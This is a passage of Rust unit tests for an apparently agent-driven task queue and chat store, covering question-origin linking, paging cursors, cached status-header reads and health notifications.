26263            "Useful detail".into(),
26264            vec![],
26265        );
26266        ui.questions.put(&mut question).unwrap();
26267        let core = questions_core(State(ui.clone())).await.unwrap().0;
26268        assert_eq!(core.len(), 1);
26269        assert_eq!(core[0].question.summary, "Useful question");
26270        assert!(!core[0].can_consult_chat);
26271        assert!(core[0].origin_chat.is_none());
26272        assert_eq!(core[0].record_revision, question_record_revision(&question));
26273        assert!(question_origins(State(ui.clone())).await.is_err());
26274        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26275    }
26276
26277    #[tokio::test]
26278    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
26279        let home = tempfile::tempdir().unwrap();
26280        let ui = delta_test_ui(home.path());
26281        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
26282        let mut parent = Task::new(
26283            "parent".into(),
26284            "body".into(),
26285            PathBuf::from("/repo"),
26286            Source::Agent {
26287                run: chat.clone(),
26288                node: crate::queue::CHAT_NODE.into(),
26289            },
26290        );
26291        parent.id = "parent-task".into();
26292        parent.runs = vec!["parent-run".into()];
26293        ui.queue.put(&mut parent).unwrap();
26294        let mut previous = parent;
26295        for generation in 1..=2 {
26296            let mut child = Task::new(
26297                "child".into(),
26298                "body".into(),
26299                PathBuf::from("/repo"),
26300                Source::Human,
26301            );
26302            child.id = format!("child-task-{generation}");
26303            child.runs = vec![format!("child-run-{generation}")];
26304            child.followup = Some(crate::queue::FollowUp {
26305                origin_task: Some(previous.id.clone()),
26306                run: previous.runs[0].clone(),
26307                pr: String::new(),
26308                findings: vec![],
26309                generation,
26310            });
26311            ui.queue.put(&mut child).unwrap();
26312            previous = child;
26313        }
26314        // A run may have the same spelling as another task's id; its owner
26315        // must not override a typed task reference.
26316        let mut collision = Task::new(
26317            "collision".into(),
26318            String::new(),
26319            PathBuf::from("/repo"),
26320            Source::Human,
26321        );
26322        collision.id = "collision-task".into();
26323        collision.runs = vec![previous.id.clone()];
26324        ui.queue.put(&mut collision).unwrap();
26325        let mut questions = Vec::new();
26326        for (node, reference, expected, eligible) in [
26327            (crate::triage::NODE, previous.id.as_str(), true, false),
26328            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
26329            ("review", previous.runs[0].as_str(), true, true),
26330            (
26331                crate::bump::NOTICE_NODE,
26332                previous.runs[0].as_str(),
26333                true,
26334                false,
26335            ),
26336            // Identical text in the wrong reference namespace is not evidence.
26337            ("review", previous.id.as_str(), false, false),
26338            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
26339            ("review", "unrelated", false, false),
26340        ] {
26341            let mut q = Question::new(
26342                reference.into(),
26343                node.into(),
26344                "seat".into(),
26345                "Question".into(),
26346                String::new(),
26347                vec![],
26348            );
26349            ui.questions.put(&mut q).unwrap();
26350            questions.push((q, expected, eligible));
26351        }
26352        for (node, reference, associated, eligible) in [
26353            (crate::reconcile::NODE, previous.id.as_str(), true, false),
26354            (
26355                crate::reconcile::NODE,
26356                previous.runs[0].as_str(),
26357                false,
26358                true,
26359            ),
26360            ("implement", previous.id.as_str(), false, false),
26361        ] {
26362            let mut q = Question::new(
26363                reference.into(),
26364                node.into(),
26365                crate::reconcile::SEAT.into(),
26366                "Reconcile".into(),
26367                String::new(),
26368                vec![],
26369            );
26370            ui.questions.put(&mut q).unwrap();
26371            questions.push((q, associated, eligible));
26372        }
26373        let mut release = Question::new(
26374            "release-record".into(),
26375            crate::bump::NOTICE_NODE.into(),
26376            "release-watch".into(),
26377            "Release".into(),
26378            String::new(),
26379            vec![],
26380        );
26381        ui.questions.put(&mut release).unwrap();
26382        let watch = crate::release_watch::WatchState {
26383            question: Some(release.id.clone()),
26384            run: Some(previous.runs[0].clone()),
26385            held_task: Some(previous.id.clone()),
26386            ..Default::default()
26387        };
26388        let watch_dir = home.path().join("release-watch");
26389        std::fs::create_dir_all(&watch_dir).unwrap();
26390        let watch_path = watch_dir.join("watch.json");
26391        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26392        // Ordinary questions and bump notices do not need watch-store I/O.
26393        for batch in [
26394            Vec::new(),
26395            questions.iter().map(|(q, _, _)| q.clone()).collect(),
26396        ] {
26397            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
26398            assert!(watches.is_empty());
26399        }
26400        questions.push((release.clone(), true, false));
26401
26402        let views = questions_list(State(ui.clone())).await.unwrap().0;
26403        let origins = question_origins(State(ui.clone())).await.unwrap().0;
26404        for (q, associated, eligible) in &questions {
26405            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
26406            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
26407            let expected = associated.then_some(chat.as_str());
26408            assert_eq!(
26409                view.origin_chat.as_deref(),
26410                expected,
26411                "{} {}",
26412                q.node,
26413                q.run
26414            );
26415            assert_eq!(origin.origin_chat.as_deref(), expected);
26416            assert_eq!(view.origin_chat_closed, *associated);
26417            assert_eq!(origin.origin_chat_closed, *associated);
26418            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
26419            assert_eq!(origin.can_consult_chat, *eligible);
26420        }
26421        // Either saved link independently recovers a release question's owner.
26422        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
26423            let link = crate::release_watch::WatchState {
26424                run,
26425                held_task,
26426                ..watch.clone()
26427            };
26428            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
26429            let (tasks, talks, watches) =
26430                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
26431            assert_eq!(
26432                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
26433                    .unwrap()
26434                    .id,
26435                chat,
26436            );
26437            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
26438        }
26439        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26440        // Even identical duplicate records are ambiguous: ignore their links.
26441        let duplicate_path = watch_dir.join("duplicate.json");
26442        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26443        let (tasks, talks, watches) =
26444            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
26445        assert!(
26446            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
26447                .is_none()
26448        );
26449        std::fs::remove_file(duplicate_path).unwrap();
26450        // Another explicit owner is a conflict even if it has no chat.
26451        let mut unrelated = Task::new(
26452            "other".into(),
26453            String::new(),
26454            PathBuf::from("/repo"),
26455            Source::Human,
26456        );
26457        unrelated.id = "unrelated-task".into();
26458        ui.queue.put(&mut unrelated).unwrap();
26459        let mut conflicting = watch.clone();
26460        conflicting.held_task = Some(unrelated.id);
26461        std::fs::write(
26462            watch_dir.join("conflict.json"),
26463            serde_json::to_vec(&conflicting).unwrap(),
26464        )
26465        .unwrap();
26466        let (tasks, talks, watches) =
26467            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
26468        assert!(
26469            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
26470                .is_none()
26471        );
26472        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
26473        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
26474        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
26475            assert!(origin.origin_chat.is_none());
26476            assert!(!origin.origin_chat_closed);
26477        }
26478    }
26479
26480    #[test]
26481    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
26482        let home = tempfile::tempdir().unwrap();
26483        let ui = delta_test_ui(home.path());
26484        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
26485        for i in 0..1000 {
26486            let mut task = Task::new(
26487                "unrelated".into(),
26488                "instruction ".repeat(256),
26489                PathBuf::from("/repo"),
26490                Source::Human,
26491            );
26492            task.id = format!("history-{i:04}");
26493            ui.queue.put(&mut task).unwrap();
26494            let id = seed_talk_at(&ui.talks, &task.id, "open");
26495            let mut talk = ui.talks.get(&id).unwrap();
26496            talk.pending = "history ".repeat(256);
26497            ui.talks.put(&mut talk).unwrap();
26498        }
26499        let mut parent = Task::new(
26500            "parent".into(),
26501            "body".into(),
26502            PathBuf::from("/repo"),
26503            Source::Agent {
26504                run: chat_id.clone(),
26505                node: crate::queue::CHAT_NODE.into(),
26506            },
26507        );
26508        parent.id = "task-parent".into();
26509        parent.runs = vec!["run-parent".into()];
26510        ui.queue.put(&mut parent).unwrap();
26511        let mut child = Task::new(
26512            "child".into(),
26513            "body".into(),
26514            PathBuf::from("/repo"),
26515            Source::Human,
26516        );
26517        child.id = "task-child".into();
26518        child.runs = vec!["run-child".into()];
26519        child.followup = Some(crate::queue::FollowUp {
26520            run: "run-parent".into(),
26521            origin_task: Some(parent.id.clone()),
26522            pr: "https://example.invalid/pr/1".into(),
26523            findings: vec![],
26524            generation: 1,
26525        });
26526        ui.queue.put(&mut child).unwrap();
26527        let mut question = Question::new(
26528            child.id.clone(),
26529            crate::conduct::NODE.into(),
26530            "seat".into(),
26531            "Continue?".into(),
26532            String::new(),
26533            vec![],
26534        );
26535        let (tasks, talks, _watches) =
26536            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26537        assert_eq!(tasks.len(), 2);
26538        assert_eq!(talks.len(), 1);
26539        assert_eq!(
26540            ui.monitor.queue_index.lock().unwrap().reparsed,
26541            0,
26542            "exact ancestry bypasses the index"
26543        );
26544        assert_eq!(
26545            crate::consult::origin_talk(&tasks, &talks, &question)
26546                .unwrap()
26547                .id,
26548            chat_id
26549        );
26550        question.run = "run-child".into();
26551        question.node = "review".into();
26552        for origin_task in [Some(parent.id.clone()), None] {
26553            child.followup.as_mut().unwrap().origin_task = origin_task;
26554            ui.queue.put(&mut child).unwrap();
26555            let (tasks, talks, _watches) =
26556                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26557            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
26558            let expected =
26559                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
26560                    .unwrap();
26561            assert_eq!(actual.id, expected.id);
26562            assert!(!actual.status.open());
26563            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26564            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26565            // Without Unix file identity, every readable record must be
26566            // reparsed to detect same-size, same-mtime replacements safely.
26567            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
26568            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26569        }
26570        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
26571        ui.queue.put(&mut child).unwrap();
26572        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
26573        let (tasks, talks, _watches) =
26574            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26575        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26576        child.origin_chat = Some(chat_id.clone());
26577        ui.queue.put(&mut child).unwrap();
26578        let (tasks, talks, _watches) =
26579            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26580        assert_eq!(
26581            crate::consult::origin_talk(&tasks, &talks, &question)
26582                .unwrap()
26583                .id,
26584            chat_id
26585        );
26586        let revision = question_record_revision(&question);
26587        question.abandon("settled elsewhere");
26588        assert_ne!(revision, question_record_revision(&question));
26589        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26590        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
26591        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
26592        let (tasks, talks, _watches) =
26593            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26594        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
26595    }
26596
26597    #[test]
26598    fn list_cursors_freeze_membership_and_expire_explicitly() {
26599        let home = tempfile::tempdir().unwrap();
26600        let ui = delta_test_ui(home.path());
26601        std::fs::create_dir_all(ui.queue.root()).unwrap();
26602        for i in 0..40 {
26603            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
26604        }
26605        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
26606        assert_eq!(first.len(), STORE_PAGE_SIZE);
26607        let cursor = cursor.unwrap();
26608        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
26609        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
26610        let (second, _) = page_ids(
26611            &ui,
26612            false,
26613            PageQuery {
26614                before: Some(cursor.clone()),
26615            },
26616        )
26617        .unwrap();
26618        assert_eq!(second[0], "record-0023");
26619        assert!(second.iter().all(|id| !first.contains(id)));
26620        assert!(
26621            page_ids(
26622                &ui,
26623                true,
26624                PageQuery {
26625                    before: Some(cursor.clone())
26626                }
26627            )
26628            .is_err()
26629        );
26630        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
26631        assert_eq!(fresh[0], "record-9999");
26632        ui.monitor.list_walks.lock().unwrap().clear();
26633        assert!(
26634            page_ids(
26635                &ui,
26636                false,
26637                PageQuery {
26638                    before: Some(cursor)
26639                }
26640            )
26641            .is_err()
26642        );
26643    }
26644
26645    #[tokio::test]
26646    async fn talk_pages_load_every_open_then_frozen_closed_history() {
26647        let home = tempfile::tempdir().unwrap();
26648        let ui = delta_test_ui(home.path());
26649        // Every closed conversation is newer by ID than every open conversation.
26650        for i in 0..23 {
26651            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
26652        }
26653        for i in 0..45 {
26654            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
26655        }
26656        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
26657        let first = talks_page(
26658            State(ui.clone()),
26659            Query(PageQuery::default()),
26660            header::HeaderMap::new(),
26661        )
26662        .await
26663        .unwrap()
26664        .0;
26665        assert_eq!(
26666            first.rows.iter().filter(|row| row.status.open()).count(),
26667            23
26668        );
26669        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
26670        assert!(first.rows[..23].iter().all(|row| row.status.open()));
26671        let parsed = ui
26672            .monitor
26673            .talk_parses
26674            .load(std::sync::atomic::Ordering::Relaxed);
26675        assert_eq!(
26676            parsed,
26677            first.rows.len(),
26678            "closed bodies outside this page are not restored"
26679        );
26680        let fresh = talks_page(
26681            State(ui.clone()),
26682            Query(PageQuery::default()),
26683            header::HeaderMap::new(),
26684        )
26685        .await
26686        .unwrap()
26687        .0;
26688        assert_eq!(fresh.rows.len(), first.rows.len());
26689        assert_eq!(
26690            ui.monitor
26691                .talk_parses
26692                .load(std::sync::atomic::Ordering::Relaxed),
26693            parsed
26694        );
26695        let mut seen: std::collections::HashSet<_> =
26696            first.rows.iter().map(|row| row.id.clone()).collect();
26697        // Status changes keep their original membership position until refresh.
26698        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
26699        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
26700        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
26701        let mut next = first.next;
26702        while let Some(cursor) = next {
26703            let page = talks_page(
26704                State(ui.clone()),
26705                Query(PageQuery {
26706                    before: Some(cursor),
26707                }),
26708                header::HeaderMap::new(),
26709            )
26710            .await
26711            .unwrap()
26712            .0;
26713            assert!(page.rows.len() <= STORE_PAGE_SIZE);
26714            for row in page.rows {
26715                assert!(seen.insert(row.id), "a cursor must not repeat membership");
26716            }
26717            next = page.next;
26718        }
26719        let expected: HashSet<_> = (0..23)
26720            .map(|i| format!("20260101-000000-{i:03}"))
26721            .chain(
26722                (0..45)
26723                    .filter(|i| *i != 1)
26724                    .map(|i| format!("20261019-000000-{i:03}")),
26725            )
26726            .collect();
26727        assert_eq!(
26728            seen, expected,
26729            "the cursor walk must return every surviving ID"
26730        );
26731        let refreshed = talks_page(
26732            State(ui.clone()),
26733            Query(PageQuery::default()),
26734            header::HeaderMap::new(),
26735        )
26736        .await
26737        .unwrap()
26738        .0;
26739        assert_eq!(
26740            refreshed
26741                .rows
26742                .iter()
26743                .filter(|row| row.status.open())
26744                .count(),
26745            23
26746        );
26747        assert!(
26748            refreshed
26749                .rows
26750                .iter()
26751                .any(|row| row.id == "20261019-000000-000")
26752        );
26753        assert!(
26754            !refreshed
26755                .rows
26756                .iter()
26757                .any(|row| row.id == "20260101-000000-000")
26758        );
26759    }
26760
26761    #[test]
26762    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
26763        let home = tempfile::tempdir().unwrap();
26764        let ui = delta_test_ui(home.path());
26765        for i in 0..STORE_PAGE_SIZE + 5 {
26766            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
26767        }
26768        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
26769        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
26770        assert!(next.is_none());
26771    }
26772
26773    #[test]
26774    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
26775        struct Counted<R> {
26776            inner: R,
26777            bytes: usize,
26778        }
26779        impl<R: std::io::Read> std::io::Read for Counted<R> {
26780            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
26781                let n = self.inner.read(buf)?;
26782                self.bytes += n;
26783                Ok(n)
26784            }
26785        }
26786        let home = tempfile::tempdir().unwrap();
26787        let ui = delta_test_ui(home.path());
26788        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
26789        let mut chat = ui.talks.get(&id).unwrap();
26790        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
26791            chat.turns = vec![
26792                serde_json::from_value(serde_json::json!({
26793                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
26794                }))
26795                .unwrap(),
26796            ];
26797            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
26798                chat.status = status;
26799                // Exercise the actual on-disk serializer, including its field order.
26800                let body = serde_json::to_vec_pretty(&chat).unwrap();
26801                let mut reader = Counted {
26802                    inner: body.as_slice(),
26803                    bytes: 0,
26804                };
26805                assert_eq!(read_talk_status(&mut reader), Some(status));
26806                assert!(
26807                    reader.bytes <= 1024,
26808                    "header classification read {} bytes",
26809                    reader.bytes
26810                );
26811            }
26812        }
26813        // Noncanonical field order must neither traverse a transcript nor hide
26814        // an open row. Its real status is validated by the ordinary row reader.
26815        let noncanonical = format!(
26816            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
26817            "x".repeat(1024 * 1024)
26818        );
26819        let mut reader = Counted {
26820            inner: noncanonical.as_bytes(),
26821            bytes: 0,
26822        };
26823        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26824        assert!(reader.bytes <= 1024);
26825        let oversized = format!(
26826            r#"{{"agent":"{}","status":"open"}}"#,
26827            "x".repeat(128 * 1024)
26828        );
26829        let mut reader = Counted {
26830            inner: oversized.as_bytes(),
26831            bytes: 0,
26832        };
26833        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26834        assert!(reader.bytes <= 64 * 1024);
26835    }
26836
26837    #[test]
26838    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
26839        let home = tempfile::tempdir().unwrap();
26840        let ui = delta_test_ui(home.path());
26841        seed_talk_at(&ui.talks, "header-chat", "open");
26842        std::fs::create_dir_all(ui.queue.root()).unwrap();
26843        let (started, ready) = std::sync::mpsc::channel();
26844        let (release, wait) = std::sync::mpsc::channel();
26845        let chat_ui = ui.clone();
26846        let scan = std::thread::spawn(move || {
26847            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
26848                started.send(()).unwrap();
26849                wait.recv().unwrap();
26850                open_talk_ids(ui, ids)
26851            })
26852            .unwrap()
26853        });
26854        ready.recv_timeout(Duration::from_secs(2)).unwrap();
26855        let (finished, result) = std::sync::mpsc::channel();
26856        let queue = std::thread::spawn(move || {
26857            finished
26858                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
26859                .unwrap();
26860        });
26861        let completed = result.recv_timeout(Duration::from_secs(2));
26862        // Release and join both workers even if the regression returns.
26863        release.send(()).unwrap();
26864        scan.join().unwrap();
26865        queue.join().unwrap();
26866        assert!(
26867            completed.unwrap(),
26868            "queue paging must not wait for chat header I/O"
26869        );
26870    }
26871
26872    #[test]
26873    fn talk_status_projection_does_not_cache_files_changed_during_read() {
26874        let home = tempfile::tempdir().unwrap();
26875        let ui = delta_test_ui(home.path());
26876        let ids = vec!["changing-chat".to_owned()];
26877        seed_talk_at(&ui.talks, &ids[0], "closed");
26878        assert!(open_talk_ids(&ui, &ids).is_empty());
26879        seed_talk_at(&ui.talks, &ids[0], "open");
26880        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
26881            let value: serde_json::Value =
26882                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
26883            // Replace the file after parsing, before its identity is checked again.
26884            seed_talk_at(&ui.talks, &ids[0], "closed");
26885            serde_json::from_value(value["status"].clone()).ok()
26886        });
26887        assert!(open.contains(&ids[0]));
26888        assert!(
26889            ui.monitor
26890                .talk_status_index
26891                .lock()
26892                .unwrap()
26893                .records
26894                .is_empty()
26895        );
26896        assert!(open_talk_ids(&ui, &ids).is_empty());
26897        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
26898    }
26899
26900    #[test]
26901    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
26902        let home = tempfile::tempdir().unwrap();
26903        let ui = delta_test_ui(home.path());
26904        let ids = vec!["same-stamp-chat".to_owned()];
26905        seed_talk_at(&ui.talks, &ids[0], "open");
26906        // Model a non-Unix metadata collision deterministically: the old
26907        // classification has a fingerprint equal to the current file's.
26908        ui.monitor.talk_status_index.lock().unwrap().records.insert(
26909            ids[0].clone(),
26910            (
26911                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
26912                Some(talk::TalkStatus::Closed),
26913            ),
26914        );
26915        let open = open_talk_ids_with(&ui, &ids, false, |path| {
26916            std::fs::File::open(path).ok().and_then(read_talk_status)
26917        });
26918        assert!(
26919            open.contains(&ids[0]),
26920            "an untrusted cache hit must still read the current header"
26921        );
26922        assert!(
26923            ui.monitor
26924                .talk_status_index
26925                .lock()
26926                .unwrap()
26927                .records
26928                .is_empty()
26929        );
26930        seed_talk_at(&ui.talks, &ids[0], "closed");
26931        assert!(
26932            open_talk_ids_with(&ui, &ids, false, |path| {
26933                std::fs::File::open(path).ok().and_then(read_talk_status)
26934            })
26935            .is_empty()
26936        );
26937        let index = ui.monitor.talk_status_index.lock().unwrap();
26938        assert_eq!(index.parses, 2);
26939        assert!(
26940            index.records.is_empty(),
26941            "untrusted fingerprints must never publish cache entries"
26942        );
26943    }
26944
26945    #[test]
26946    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
26947        let home = tempfile::tempdir().unwrap();
26948        let ui = delta_test_ui(home.path());
26949        let headers = header::HeaderMap::new();
26950        seed_talk_at(&ui.talks, "open-chat", "open");
26951        seed_talk_at(&ui.talks, "closed-chat", "closed");
26952        talk_rows(
26953            &ui,
26954            vec!["open-chat".into(), "closed-chat".into()],
26955            &headers,
26956        );
26957        {
26958            let mut index = ui.monitor.talk_index.lock().unwrap();
26959            let closed = index["closed-chat"].1.clone();
26960            for i in 0..1000 {
26961                index.insert(
26962                    format!("cached-closed-{i}"),
26963                    (
26964                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
26965                        closed.clone(),
26966                    ),
26967                );
26968            }
26969        }
26970        assert_eq!(
26971            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
26972            1
26973        );
26974        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
26975        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26976        assert_eq!(
26977            ui.monitor
26978                .talk_parses
26979                .load(std::sync::atomic::Ordering::Relaxed),
26980            2
26981        );
26982        {
26983            let mut index = ui.monitor.talk_index.lock().unwrap();
26984            let open = index["open-chat"].1.clone();
26985            for i in 0..1000 {
26986                index.insert(
26987                    format!("cached-open-{i}"),
26988                    (
26989                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
26990                        open.clone(),
26991                    ),
26992                );
26993            }
26994        }
26995        // Even when open rows exceed the bound, keep the currently requested rows.
26996        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26997        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
26998        assert_eq!(
26999            ui.monitor
27000                .talk_parses
27001                .load(std::sync::atomic::Ordering::Relaxed),
27002            2
27003        );
27004    }
27005
27006    #[test]
27007    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
27008        let home = tempfile::tempdir().unwrap();
27009        let ui = delta_test_ui(home.path());
27010        std::fs::create_dir_all(ui.talks.root()).unwrap();
27011        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
27012        for id in &ids {
27013            std::fs::write(
27014                ui.talks.path_of(id),
27015                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
27016            )
27017            .unwrap();
27018        }
27019        assert!(open_talk_ids(&ui, &ids).is_empty());
27020        assert_eq!(
27021            ui.monitor.talk_status_index.lock().unwrap().parses,
27022            ids.len()
27023        );
27024        assert!(open_talk_ids(&ui, &ids).is_empty());
27025        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
27026        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
27027        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
27028        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
27029        assert_eq!(
27030            open_talk_ids(&ui, &ids),
27031            std::collections::HashSet::from([ids[0].clone()])
27032        );
27033        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
27034        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
27035        assert_eq!(parsed, reused + refreshed);
27036        open_talk_ids(&ui, &ids);
27037        assert_eq!(
27038            ui.monitor.talk_status_index.lock().unwrap().parses,
27039            parsed + if cfg!(unix) { 0 } else { ids.len() },
27040            "only reliable file identity permits caching, including unreadable rows"
27041        );
27042        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
27043        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
27044        assert!(
27045            !ui.monitor
27046                .talk_status_index
27047                .lock()
27048                .unwrap()
27049                .records
27050                .contains_key(&ids[0])
27051        );
27052        assert!(
27053            ui.monitor.talk_index.lock().unwrap().is_empty(),
27054            "classification never caches bodies"
27055        );
27056    }
27057
27058    #[tokio::test]
27059    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
27060        let home = tempfile::tempdir().unwrap();
27061        let ui = delta_test_ui(home.path());
27062        let mut task = Task::new(
27063            "task".into(),
27064            "body".into(),
27065            PathBuf::from("/repo"),
27066            Source::Human,
27067        );
27068        ui.queue.put(&mut task).unwrap();
27069        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27070        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27071        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27072        let expected = parsed + usize::from(!cfg!(unix));
27073        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27074        task.status = crate::queue::TaskStatus::Held;
27075        ui.queue.put(&mut task).unwrap();
27076        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27077        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
27078        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
27079        ui.queue.put(&mut task).unwrap();
27080        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27081        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27082        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
27083    }
27084
27085    #[tokio::test]
27086    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
27087        let home = tempfile::tempdir().unwrap();
27088        let ui = delta_test_ui(home.path());
27089        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
27090        let before = health(State(ui.clone())).await.unwrap().0;
27091        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
27092        let after = health(State(ui)).await.unwrap().0;
27093        assert_ne!(before.notifications_rev, after.notifications_rev);
27094        assert_eq!(after.notifications_unread, 1);
27095    }
27096
27097    #[tokio::test]
27098    async fn list_pages_bound_history_and_keep_dependency_evidence() {
27099        let home = tempfile::tempdir().unwrap();
27100        let ui = delta_test_ui(home.path());
27101        let queue = &ui.queue;
27102        let talks = &ui.talks;
27103        for i in 0..1000 {
27104            let id = format!("20261019-{i:06}-page");
27105            let mut task = Task::new(
27106                "task".into(),
27107                "instruction".repeat(100),
27108                PathBuf::from("/repo/magi"),
27109                Source::Human,
27110            );
27111            task.id = id.clone();
27112            if i == 0 {
27113                task.status = crate::queue::TaskStatus::Held;
27114            } else if i == 999 {
27115                task.status = crate::queue::TaskStatus::Blocked;
27116                task.blocked_by = vec!["20261019-000000-page".into()];
27117            }
27118            queue.put(&mut task).unwrap();
27119            seed_talk_at(talks, &id, "closed");
27120        }
27121        let page = serde_json::to_value(
27122            queue_page(State(ui.clone()), Query(PageQuery::default()))
27123                .await
27124                .unwrap()
27125                .0,
27126        )
27127        .unwrap();
27128        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27129        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
27130        assert!(
27131            !page["rows"][0]["stuck_roots"]
27132                .as_array()
27133                .unwrap()
27134                .is_empty()
27135        );
27136        let cursor = page["next"].as_str().unwrap();
27137        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
27138            .as_str()
27139            .unwrap();
27140        // Deleting an already enumerated file cannot shift or repeat a page.
